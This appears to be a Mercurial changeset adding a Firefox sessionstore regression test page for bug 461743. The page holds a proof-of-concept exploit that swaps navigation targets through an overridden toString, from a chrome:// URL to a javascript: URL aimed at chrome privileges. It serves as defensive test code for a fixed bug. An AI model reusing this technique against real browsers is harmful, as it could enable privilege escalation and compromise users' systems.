browser/components/sessionstore/test/browser_461743_sample.html

changeset 0
6474c204b198
     1.1 --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
     1.2 +++ b/browser/components/sessionstore/test/browser_461743_sample.html	Wed Dec 31 06:09:35 2014 +0100
     1.3 @@ -0,0 +1,56 @@
     1.4 +<!-- Testcase originally by <moz_bug_r_a4@yahoo.com> -->
     1.5 +
     1.6 +<!DOCTYPE html>
     1.7 +<title>Test for bug 461743</title>
     1.8 +
     1.9 +<body>
    1.10 +<iframe src="data:text/html;charset=utf-8,empty"></iframe>
    1.11 +<iframe></iframe>
    1.12 +
    1.13 +<script type="application/javascript">
    1.14 +  var chromeUrl = "chrome://global/content/mozilla.xhtml";
    1.15 +  var exploitUrl = "javascript:try { document.body.innerHTML = Components.utils.reportError; } catch (ex) { }";
    1.16 +
    1.17 +  var loadCount = 0;
    1.18 +  frames[0].addEventListener("DOMContentLoaded", handleLoad, false);
    1.19 +  frames[1].addEventListener("DOMContentLoaded", handleLoad, false);
    1.20 +  function handleLoad() {
    1.21 +    if (++loadCount < 2)
    1.22 +      return;
    1.23 +    frames[0].removeEventListener("DOMContentLoaded", handleLoad, false);
    1.24 +    frames[1].removeEventListener("DOMContentLoaded", handleLoad, false);
    1.25 +
    1.26 +    var flip = 0;
    1.27 +    MutationEvent.prototype.toString = function() {
    1.28 +      return flip++ == 0 ? chromeUrl : exploitUrl;
    1.29 +    };
    1.30 +
    1.31 +    var href = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(frames[1].location), "href").get;
    1.32 +    var loadChrome = { handleEvent: href };
    1.33 +    var loadExploit = { handleEvent: href };
    1.34 +
    1.35 +    function delay() {
    1.36 +      var xhr = new XMLHttpRequest();
    1.37 +      xhr.open("GET", location.href, false);
    1.38 +      xhr.send(null);
    1.39 +    }
    1.40 +    function done() {
    1.41 +      var event = new MessageEvent('461743', { bubbles: true, cancelable: false,
    1.42 +                                               data: "done", origin: location.href,
    1.43 +                                               source: window });
    1.44 +      document.dispatchEvent(event);
    1.45 +      frames[0].document.removeEventListener("DOMNodeInserted", loadChrome, true);
    1.46 +      frames[0].document.removeEventListener("DOMNodeInserted", delay, true);
    1.47 +      frames[0].document.removeEventListener("DOMNodeInserted", loadExploit, true);
    1.48 +      frames[0].document.removeEventListener("DOMNodeInserted", done, true);
    1.49 +    }
    1.50 +
    1.51 +    frames[0].document.addEventListener("DOMNodeInserted", loadChrome, true);
    1.52 +    frames[0].document.addEventListener("DOMNodeInserted", delay, true);
    1.53 +    frames[0].document.addEventListener("DOMNodeInserted", loadExploit, true);
    1.54 +    frames[0].document.addEventListener("DOMNodeInserted", done, true);
    1.55 +
    1.56 +    frames[0].document.designMode = "on";
    1.57 +  };
    1.58 +</script>
    1.59 +</body>

mercurial